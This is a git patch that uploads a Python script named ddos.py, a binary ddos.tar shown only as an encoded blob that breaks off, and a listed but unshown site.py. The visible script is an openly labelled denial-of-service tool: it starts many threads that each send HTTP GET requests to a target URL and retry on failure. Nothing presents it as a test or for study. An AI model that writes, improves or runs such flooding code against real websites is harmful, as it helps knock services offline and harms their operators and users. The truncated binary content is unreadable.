From ad80982811c74b981f491babf2adfe27540d2489 Mon Sep 17 00:00:00 2001 From: admin Date: Mon, 30 Mar 2026 14:08:00 +0000 Subject: [PATCH] =?UTF-8?q?=D0=97=D0=B0=D0=B3=D1=80=D1=83=D0=B7=D0=B8?= =?UTF-8?q?=D1=82=D1=8C=20=D1=84=D0=B0=D0=B9=D0=BB=D1=8B=20=D0=B2=20=C2=AB?= =?UTF-8?q?/=C2=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ddos.py | 33 +++++++++++++++++++++++++ ddos.tar | Bin 0 -> 10240 bytes site.py | 74 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 107 insertions(+) create mode 100644 ddos.py create mode 100644 ddos.tar create mode 100644 site.py diff --git a/ddos.py b/ddos.py new file mode 100644 index 0000000..884fbc4 --- /dev/null +++ b/ddos.py @@ -0,0 +1,33 @@ +import threading +import time + +import requests + + +def send_multiple_requests(url, num_threads): + """ + Отправляет указанное количество запросов к заданному URL, используя многопоточность. + Обрабатывает исключения и включает паузу при ошибках. + + Args: + url: URL, к которому отправлять запросы. + num_threads: Количество потоков. + """ + threads = [] + for i in range(num_threads): + thread = threading.Thread(target=send_single_request, args=(url,)) + threads.append(thread) + thread.start() + + for thread in threads: + thread.join() + +def send_single_request(url): + while True: + try: + response = requests.get(url) + print(f"Request sent! Status code: {response.status_code}") + break # Выходим из цикла после успешного запроса + except Exception as e: + print(f"An error occurred: {e}") + time.sleep(1) \ No newline at end of file diff --git a/ddos.tar b/ddos.tar new file mode 100644 index 0000000000000000000000000000000000000000..3f8a8d37e55804ae3aed194223355de7851bf011 GIT binary patch literal 10240 zcmeHLUvJ|?5btxPeup{paE=tENqcQYq&yV0Z@{6p2S^B6ZoEy+Ikwqd(<=z6z3Kp| z6({k61OmQ78m?;Yu1&wf`WrE`_9jl+;{-ZYC$Ou^-r1dhznz_($sXGV+w&p;u^Y0W zGEd*Ncz@;%K6QLnR+eV))mT}o7vD6s&{$cXX)HCC7Z#Tm>x+$*imn;O(C9yK%%N$X(7{&ks9uvxee#+1%`C$k~?(6H*XqZq{Qv zAXw-*-6W8H95Bbs+X)Y<5GGwG6Dcaqxmm!+vaIYw{hmHnSLuQ3slIxdK2>MwV@QwG z3nZN5|0Vtn)fpgRs9vf;`aP~VM4rAHf?h$)!}JiR`?xBjJsWXeq(|^z!G?L zA?b-aPmj{4pf0rVKaq$ND07I?Q60%oPin?Mb*jxfRXrphqvD=6QVV>6;(jEXkZ(XD z2Y?FXf`ppP-^l)hh3Z93R36v1{hGqg&{|wh*0FQ8F3I-`BQlsX5l5k5=)O4+ zHS}3a8oNa+WA2C2-mx~ab48~~-hoZ&%0xgr@>mnTG1ACEBs)a@)++c zScP`LT%M71#>qZK(k62!}XD!Hj54X_32=iLAnc38Dh zQ$iK}VR~}M)Pz{DV&&=Xxjv>|O2GDA?1TWTy`FlG+&!?z;Wen z736-*T9l^qB6BhTsNy&29`#TGJE805E`xfyLdRybWXa!D`+1%Du^S|8or=gpVNJm3 zG>^#qhJ6?HMF-fR;TQV!51PfA!HG7NGnw$v^bF(M1(p1)Eyf}l#Se6swYGMD)2c!g zwgbQYuobx7ZO?7Kwgom|k(cy0j)NfT_~GRK-`HX#cw>cbml}#9)Ry{H7w!Xf*+jdh zw@nAFE5u&Jy=$C*U4uD3&gdyV=65A*rOk)OYGO50|qwrH3*N1a%_J_ZcoGk z8J1aU=}n;+ncS1;